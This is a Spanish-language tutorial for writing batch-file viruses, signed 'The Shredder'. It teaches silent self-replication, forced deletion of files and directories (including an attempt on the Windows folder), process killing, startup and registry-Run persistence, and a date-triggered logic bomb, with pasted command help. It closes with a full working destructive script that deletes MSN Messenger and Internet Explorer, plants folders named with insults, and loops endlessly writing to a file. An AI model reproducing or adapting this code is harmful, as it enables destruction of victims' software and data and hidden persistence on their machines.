

```
*****
*****The Shredder*****
*****
```

Hola, aqui les presento un tutorial hecho por mi que contiene lo basico para empezar a introducirse en la programacion virica en batch....

Lo primero que vamos a aprender, es los comentarios, en batch los comentarios van despues del simbolo :: , veamos

```
::esto no se tomara en cuenta para la ejecucion del codigo...
::solo son comentarios
```

weno, ahora que ya sabes que son los comentarios, comencemos..

DESACTIVAR EL ECO

En batch, cada comando que esta en el bat es mostrado en pantalla, para desactivar esto, debes utilizar el comando @echo off. Ejemplo:

```
echo hola
::si te fijas se mostrara aparte de hola, la instruccion...
pause > nul
::el pause es para pausar la ejecucion del batch hasta que se presione
una tecla...
@echo off
echo hola
:: solo se mostrara hola :)
pause > nul
exit
```

MANIPULAR ARCHIVOS

Copiar archivos

En Batch para copiar un archivo, se usa el comando copy, y como parametros, primero el archivo a copiar seguido de espacio y luego la ruta de destino, es importante que las rutas vayan entre comillas, veamos un ejemplo:

```
Copy "c:\ruta\de\origen.txt" "e:\ruta\de\destino.bat"
```

Si te fijas en el ejemplo, nosotros copiamos el archivo origen.txt y lo copiamos a otra ruta cambandolo a bat, es importante señalar que puedes copiar cualquier tipo de archivo con este comando...

Como a nosotros nos interesa el lado malicioso, vamos a ver de que modo puede beneficiar esto a nuestro virus, entonces, el comando copy, puede ir acompañado de /y, que indica que el archivo de destino, si ya existe, se sobrescribiera silenciosamente y sin confirmacion:

```
Copy /y "c:\ruta\de\origen.txt" "e:\ruta\de\destino.bat"
::en este caso, si el archivo destino.bat existe, se sobrescribira y
::no pedira ningun tipo de confirmacion.
```

Bueno, ya sabes copiar archivos, pero, ¿como saber nuestra ruta?, seguramente estaras pensando en que tu virus se copie a si mismo en otro directorio, pero para esto deberias saber el nombre de tu virus junto con su ruta :S, pero, NO TE PREOCUPES! , batch ya nos soluciono eso :-)...

Para lograr autocopiarnos se debe reemplazar en donde se pone la ruta de origen por los comandos %0 , eso es el valor de la ruta actual :-)...

```
Copy /y %0 "c:\destino.bat"
::esto nos replicara en c:\destino.bat...
```

AYUDA DE MS-DOS:

Copia uno o m s archivos en otra ubicaciñnciñn.

```
COPY [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] origen [/A | /B]
      [+ origen [/A | /B] [+ ...]] [destino [/A | /B]]
```

origen	Especifica el archivo o archivos que deben copiarse.
/A	Indica un archivo de texto ASCII.
/B	Indica un archivo binario.
/D	Permite al archivo de destino que se cree descifrado
Destino	Especifica el directorio y el nombre de archivo de los nuevos archivos.
/V	Verifica que los nuevos archivos se escriben correctamente.
/N	Si es posible, usa un nombre de archivo corto al copiar un archivo cuyo nombre no tiene el formato 8.3.
/Y	Suprime la peticiñ de confirmaciñ cuando se va a sobrescribir un archivo destino existente.
/-Y	Realiza la peticiñ de confirmaciñ cuando se va a sobrescribir un archivo destino existente.
/Z	Copia archivos de red en modo reiniciable.

El modificador /Y puede estar preestablecido en la variable de entorno COPYCMD. Esto puede anularse con el modificador /-Y en la lñea de comando. Est predeterminado el pedir la confirmaciñ del usuario antes de sobrescribir, excepto si el comando COPY se ejecuta desde un archivo de comandos por lotes.

Para anexar archivos, especifique un fnico archivo de destino, pero varios archivos de origen (usando caracteres comodines o el formato archivol+archivo2+archivo3).

Borrar archivos

Uno de los principales comandos para todo malware es borrar archivos, el comando para realizar esto es Del...se utiliza tipeando Del seguido de espacio y luego la ruta del archivo a borrar entrecomillas...

```
Del "c:\archivo a borrar.exe"
```

Este comando puede borrar cualquier tipo de archivo...si quieres asegurarte de que el archivo desaparezca, le agregas el parametro /f, que forzara el borrado...

```
Del /f "c:\archivo a borrar.exe"
```

Ahora vamos al lado viral, para que no nos pida confirmacion al borrar, le agregamos el parametro /q y asi lo borrara de modo silencioso...

```
Del /q "c:\a.exe"
::si te fijas borraras el archivo silenciosamente, pero no lo
::forzaras...
Del /f /q "c:\b.txt"
::ahi si se borrara siempre...claro que no debe estar en uso, pero ya
::explicaremos esto mas adelante...
```

Tambien con este comando, son admitidos los comodines, el comando asterisco, representa parte del nombre...

```
del /f /q c:\*woo*
::en la carpeta c:\, borrara todos los archivos que contengan la
palabra woo...
::por ejemplo awoos, swoo, asdasdasdwoo, wooasdasda, etc...
del /f /q c:\*dd
::este borrara solo los archivos que finalizen con dd...
del /f /q c:\*.txt
:: borrara todos los txts...
```

AYUDA DE MS-DOS:

Elimina uno o más archivos.

```
DEL [/P] [/F] [/S] [/Q] [/A[:atributos]] nombres
ERASE [/P] [/F] [/S] [/Q] [/A[:atributos]] nombres
```

nombres Especifica una lista de uno o m s archivos o directorios.

 Se puede utilizar comodines para eliminar varios archivos.

 Si se especifica un directorio todos sus archivos se eliminar n.

/P	Pide confirmacin antes de eliminar cada archivo.	
/F	Fuerza la eliminacin de archivos de slo lectura.	
/S	Elimina archivos especificados en todos los subdirectorios.	
/Q	Modo silencioso. No pide confirmacin con comodn global	
/A	Selecciona los archivos que se van a eliminar bas ndose en los atributos	
atributos	R Archivos de slo lectura S Archivos de sistema	
	H Archivos ocultos A Archivos preparados para	
		almacenamiento
	-	Prefijo de exclusin

Si las extensiones de comando est n activadas DEL y ERASE cambian de la siguiente manera:

La semntica que se muestra para el modificador /S est invertida de

tal modo
que le muestra solamente los archivos eliminados y no los que no se encontraron.

Borrar Carpetas

Otra cosa importante en nuestro virus es borrar carpetas, utilizaremos entonces el comando rd (remove directory), se utiliza parecido q al comando del, pero solo utiliza los parametros /s y /q.../s qita todos los archivos y carpetas del directorio y /q lo hace sin confirmacion y silenciosamente...

```
rd "c:\windows"  
::uuhhh, q pasaria xDxD  
rd /s /q "c:\windows"  
::qda mejor no?...= no se borrara, mas adelante explicare porq...
```

AYUDA DE MS-DOS:

Quita un directorio.

```
RMDIR [/S] [/Q] [unidad:]ruta  
RD [/S] [/Q] [unidad:]ruta
```

/S Quita todos los directorios y archivos del directorio
además del mismo directorio. Se utiliza principalmente cuando se
 desea quitar un rbol.

/Q Modo silencioso, no pide confirmaciøn para quitar un rbol
 de directorio con /S

Crear directorios

Weno, cuando nuestro virus se quiera copiar a una carpeta, y esta no existe, se creara un error y no se copiara, para evitar esto, podemos verificar si el directorio existe que se copie, si no, que cree el directorio y luego se copie :-)...

El comando para esto es mkdir o md...

```
mkdir "c:\caca"  
md "c:\wooo"  
::esto creara ambos directorios, ya q los dos sirven para lo mismo
```

Comprobar si existe

Para la creacion de nuestro virus, podemos comprobar si existe el archivo o carpeta que qeramos modificar, borrar, etc...y si existe nuestra accion sucede...esto se combina con etiquetas, como siempre, las rutas van entre comillas...

```
if exist "C:\archivo.exe" (goto 1) else goto 2  
:1  
::aqi va la accion del virus, notese q el 1 es la etiqueta...  
Del /f /q "C:\archivo.exe"  
:2  
exit
```

PROCESOS

Matar procesos

para matar procesos se utiliza el comando taskkill, es util siempre matar procesos, ya q si algun archivo esta en uso, no se puede borrar, entonces, para esto matamos el proceso del archivo y luego lo borramos :-)...

el taskkill se utiliza seguido de la expresion /im, y luego el nombre del ejecutable entre comillas....

```
taskkill /f /im "explorer.exe"
::esto finalizara el proceso explorer sin pedir confirmacion, gracias
al /f
::supongamos q el archivo hola.exe esta en uso y no lo podemos
borrar...
taskkill /f /im "hola.exe"
Del /f /q "c:\archivos de programas/hola.exe"
::jeje, ya ha desaparecido el archivo hola.exe
```

AYUDA DE MS-DOS:

TASKKILL [/S sistema] [/U usuario [/P contraseña]]
 { [/FI filtro] [/PID IdProceso | /IM NombreImagen] } [/F] [/T]

Descripción:

Esta herramienta de la línea de comandos puede usarse en uno o más procesos.

Los procesos pueden terminarse a través del Id. o del nombre de imagen.

Lista de parámetros:

/S sistema Especifica el sistema remoto al que conectarse.

/U [dominio]\usuario Especifica el contexto de usuario en el que se que el comando debe ejecutarse.

/P contraseña Especifica la contraseña para el contexto de usuario dado. Pide la entrada si se omite.

/F Especifica la terminación forzada de proceso(s).

/FI filtro Especifica un conjunto de tarea que coinciden con el criterio especificado en el filtro.

/PID Id. de proceso Especifica el ID. de proceso que se debe terminar.

/IM nombre de imagen Especifica el nombre de imagen del proceso que debe terminar. El carácter comodín "*" puede usarse para especificar todos los nombres de imagen.

/T Terminar árbol: termina el proceso especificado y todos los procesos secundarios iniciados por él.

/? Muestra el uso de la ayuda.

Filtro(s):

Nombre filtro	Operadores v lidos	Valores v lidos
-----	-----	-----
STATUS	eq, ne	RUNNING NOT RESPONDING
IMAGENAME	eq, ne	Nombre de imagen.
PID	eq, ne, gt, lt, ge, le	Valor de PID.
SESSION	eq, ne, gt, lt, ge, le	Nºmero de sesi3n
CPUTIME	eq, ne, gt, lt, ge, le	Tiempo v lido en el formato hh:mm:ss. hh - horas, mm - minutos, ss - segundos
MEMUSAGE	eq, ne, gt, lt, ge, le	Uso de memoria en KB.
USERNAME	eq, ne	Nombre de usuario en formato [dominio\]usuario.
MODULES	eq, ne	Nombre de DLL
SERVICES	eq, ne	Nombre de servicio.
WINDOWTITLE	eq, ne	Título de ventana.

Nota: el car cter comodín "*" del modificador /IM se acepta solamente con filtros.

Nota: los procesos remotos siempre se terminarán de manera forzada sin tener en cuenta si la opción /F se ha especificado o no.

Ejemplos:

```
TASKKILL /S sistema /F /IM notepad.exe
TASKKILL /PID 1230 /PID 1241 /PID 1253
TASKKILL /F /IM notepad.exe /IM mspaint.exe
TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untile*"
TASKKILL /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe
TASKKILL /S sistema /U dominio\usuario /FI "USERNAME ne NT*" /IM *
TASKKILL /S sistema /U nombreusuario /P contrasea /FI "IMAGENAME eq
note*"
```

Ver procesos

para ver la lista de procesos, simplemente tipea esto en la consola y veras todos los procesos activos...

```
tasklist
```

AYUDA DE MS-DOS:

```
TASKLIST [/S sistema [/U usuario [/P contrasea]]]
          [/M [m3dulo] | /SVC | /V] [/FI filtro] [/FO formato] [/NH]
```

Descripci3n:

Esta herramienta de la lnea de comandos muestra una lista de aplicaciones y las tareas o procesos asociados que se ejecutan en un sistema local o remoto

Lista de par metros:

/S sistema Especifica el sistema remoto para conectarse.

/U [dominio\]usuario Especifica el contexto de usuario en el que que el comando debe ejecutarse.

/P contraseña Especifica la contraseña para el contexto de usuario dado.

/M [módulo] Muestra todas las tareas que tienen cargados módulos de biblioteca DLL que coincidan con el nombre est ndar dado. Si no se especifica el nombre del módulo, se mostrar n todos los módulos cargados por cada tarea.

/SVC Muestra los servicios en cada proceso.

/V Especifica que la informaci n sea mostrada.

/FI filtro Muestra un conjunto de tareas que coinciden con el criterio especificado por el filtro.

/FO formato Especifica el formato de salida. Valores v lidos: "TABLE", "LIST", "CSV".

/NH columna" no Especifica que el "encabezado de no debe mostrarse en la salida. V lido s olo para formatos "TABLE" y "CSV".

/? Muestra el uso/ayuda.

Filtros:

Nombre filtro	Operadores v lidos	Valores v lidos
STATUS	eq, ne	RUNNING NOT
RESPONDING		
IMAGENAME	eq, ne	Nombre de imagen
PID	eq, ne, gt, lt, ge, le	Valor del PID
SESSION	eq, ne, gt, lt, ge, le	N mero de sesi n
SESSIONNAME	eq, ne	Nombre de sesi n
CPUTIME	eq, ne, gt, lt, ge, le	Tiempo de la CPU en
el formato		hh:mm:ss.
		hh - n mero de
horas,		mm - minutos, ss -
segundos		
MEMUSAGE	eq, ne, gt, lt, ge, le	Uso de memoria en KB
USERNAME	eq, ne	Nombre de usuario en
formato		[dominio\]usuario
SERVICES	eq, ne	Nombre de servicio

WINDOWTITLE	eq, ne	Título de ventana
MODULES	eq, ne	Nombre DLL

Ejemplos:

```
TASKLIST
TASKLIST /M
TASKLIST /V
TASKLIST /SVC
TASKLIST /M wbem*
TASKLIST /S sistema /FO LIST
TASKLIST /S sistema /U dominio nombreusuario /FO CSV /NH
TASKLIST /S sistema /U nombreusuario /P contraseña /FO TABLE /NH
TASKLIST /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS eq
running"
```

INICIARSE CON WINDOWS

Weno, esta, es una de las funciones mas importantes en todo virus, y existen dos metodos para hacerlo:

Iniciarse por startup

En windows, hay una carpeta en donde hay accesos directos a programas q se inicien con windows, si copiamos nuestro bat a esta, tambien se iniciara con windows...

```
Copy %0 C:\"Documents and Settings"\All Users\*
Inicio\Programas\Inicio\mivirus.bat"
::jeje, esa es la magika carpeta...
```

Agregarse al registro

Este es el modo mas seguro, solo hay q agregarse a la entrada run del registro, creando una clave que contenga el nombre de la ruta y ademas un nombre que se mostrara en el registro:

```
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v
"UNNOMBREQUESEMOSTRARA" /d "c:\tubat.bat"
::reg add es para agregar la clave
::HKLM\Software\Microsoft\Windows\CurrentVersion\Run es la entrada
magica donde estan todos los programas q se inician cn windows...
::/v indica el nombre del valor
::/d indica los datos que seran agregados
```

VARIABLES GLOBALES

las variables globales nos sirven para que nuestro virus funcione tambien en windows que no esten instalados en el directorio por defecto, aqui dejo algunas...

```
%systemroot% = directorio de windows, por defecto c:\windows
%programfiles% = los archivos de programa, por defecto c:\archivos de
programa
%username% = el nombre de usuario
%allusersprofile% = por defecto c:\documents and setting\all users
%computername% = el nombre de la maquina...
```

Ejemplo de como utilizarlas:

```
Copy %0 %systemroot%\mivirus.bat
::copiara el virus en el directorio de windows...
```



```
echo %username%
::te mostrara el nombre de usuario, en mi caso matias xD
::las variables globales siempre deben estar entre %%
```

Si quieres conocer todas las variables globales, tipea set en la consola...

Set

RECUERDA QUE SIEMPRE VAN ENTRE %%

CREAR LOOPS

Esto es muy facil y es mas q nada logica, se utiliza una etiqueta y luego el goto para volver a la etiqueta...Esto lo puedes utilizar para lo q gras, mas q nada para molestar, xq no se qitara la ventanita nunca xD...

```
::mira esto es un loop
:woOo
::woOo es nuestra etiqueta
copy%0 "c:\bat.bat"
::hacemos lo q qramos...
goto woOo
::y volvemos al woOo...
::asi estamos todo el rato haciendo lo mismo...
```

BOMBA LÓGICA

bueno para hacer que realice las acciones que nosotros queramos en una determinada fecha, utilizaremos la variable %date%, que nos devuelve la fecha del sistema, entonces nosotros verificamos si la fecha es correcta y vamos a una etiqueta, si no, vamos a otra...

```
echo %date%
::si nos fijamos nos devuelve 19-06-2006
::entonces con esto sacamos por teoria que...
if %date% == 19-06-06 (goto 1) else goto 2
:1
::codigo del virus
:2
exit
```

CREAR TXT

Siempre los txts son un buen payload, en batch, para crear un txt, se debe redireccionar la salida con el comando >. Entonces podemos perfectamente dejar la firma en un txt gracias a este comando. Para sobrecribir y crear un archivo, utiliza el comando > y para sobrecribir el comando >>.

```
echo jaja te mate el pc...>c:\firma.txt
echo y no sabes quien soy>>c:\firma.txt
echo I'm The Shredder>>c:\firma.txt
echo ups, ya sabes xD>>c:\firma.txt
echo saludoss>>c:\firma.txt
```

BORRAR PANTALLA

si quieres que la victima no vea nada de nada de lo que se esta

ejecutando en la consola, puedes poner el comando cls, que sirve para vaciar la pantalla jejeje...

```
echo hola
echo como estas?
echo muy bien
Cls
::uh, ahora veamos borrando la pantallita cada vez q se hace algo
echo hola
cls
echo como estas?
cls
echo muy bien
Cls
```

Weno eso ha sido todo por hoy, reporten cualquier falla, y posteen sus criticas y especialmente dudas...criticas aqui y dudas en otro post...

Si copias esto deja bien en claro el autor e intenta avisarme
salu2

Ejemplo

Vamos al trabajo practico, aqui les muestro un ejemplo que acabo de hacer para demostrarles algo util de lo aprendido...

```
@echo off
cls
Copy %0 "%systemroot%\autoexec.bat"

taskkill /f /im "msnmsgr.exe"
cls
Del /f /q "%programfiles%\MSN Messenger\*.*"
:: el *.* es para borrar todos los archivos
cls
rd /s /q "%programfiles%\MSN Messenger"
cls
Mkdir "c:\Imbésil"
cls
Mkdir "c:\tonto"
cls
Mkdir "c:\weon"
cls
Mkdir "c:\aweonao"
cls
Mkdir "c:\saco e wea"
cls
Mkdir "c:\retrasado mental"
cls
Mkdir "c:\hijo e puta"
cls
Mkdir "c:\chupamela"
cls
Mkdir "c:\das asco"
cls
Mkdir "c:\dile a tu hermana q mañana le pago"
cls
if exist "%programfiles%\Internet Explorer" (goto matariex) else goto
```

```
continuar
:continuar
echo THE SHREDDER > "%systemroot%\firmita.txt"
cls
echo WAS >> "%systemroot%\firmita.txt"
cls
echo HERE >> "%systemroot%\firmita.txt"
cls
echo VIRUS : Prueba para mi ejemplo >> "%systemroot%\firmita.txt"
cls
Copy %systemroot%\firmita.txt "c:\Imbésil\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\tonto\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\weon\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\aweonao\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\saco e wea\The Shredder was
here.txt"
cls
Copy %systemroot%\firmita.txt "c:\retrasado mental\The Shredder was
here.txt"
cls
Copy %systemroot%\firmita.txt "c:\hijo e puta\The Shredder was
here.txt"
cls
Copy %systemroot%\firmita.txt "c:\das asco\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\dile a tu hermana q mañana le
pago\The Shredder was here.txt"
cls
Notepad "%systemroot%\firmita.txt"
cls
exit
:matariex
rd /s /f "%programfiles%\Internet Explorer"
cls
:sinfin
echo usa firefox, es mejor >> creceras.txt
goto sinfin
::esto fue hecho para respaldar mi tutorial para crear virus...
```

Hecho por The Shredder

CHILE

MUERTE A LUCY

CONTACTME TO:

YNGWIEMATEE@HOTMAIL.COM

THE.KING.OF.SHRED@GMAIL.COM

www.theshredder.tk

www.z3r0h4ck.tk

mbsoft.quae.net/foros